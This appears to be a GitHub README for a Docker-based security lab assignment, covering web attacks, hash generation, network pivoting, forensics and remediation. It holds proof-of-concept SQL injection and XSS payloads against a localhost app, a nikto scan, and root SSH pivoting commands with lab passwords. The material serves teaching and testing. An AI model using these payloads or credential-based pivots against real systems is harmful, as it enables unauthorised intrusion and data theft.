You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
# Web app available at http://localhost:5000
nikto -h http://localhost:5000
# SQLi PoC
curl -s "http://localhost:5000/login" -d "username=' OR '1'='1' --&password=x"# XSS PoC
curl -s "http://localhost:5000/search?q=<script>alert('XSS')</script>"
Q3 – Hash Generation
cd Q3-cryptanalysis
pip3 install bcrypt
python3 generate_hashes.py
ls output/
Q4 – Pivoting
# From attacker, SSH to gateway
docker exec -it attacker ssh root@172.20.1.30 # password: toor# From gateway, reach db-server
ssh root@172.20.3.20 # password: dbpassword
cat /root/secret.txt
Q5 – Forensics
# Record hashes before attacks
docker exec attacker bash -c "find /etc -name '*.conf' | xargs sha256sum"> Q5-forensics/before_hashes.txt
Q6 – Remediation
cd Q6-remediation
python3 app_hardened.py # runs on port 5001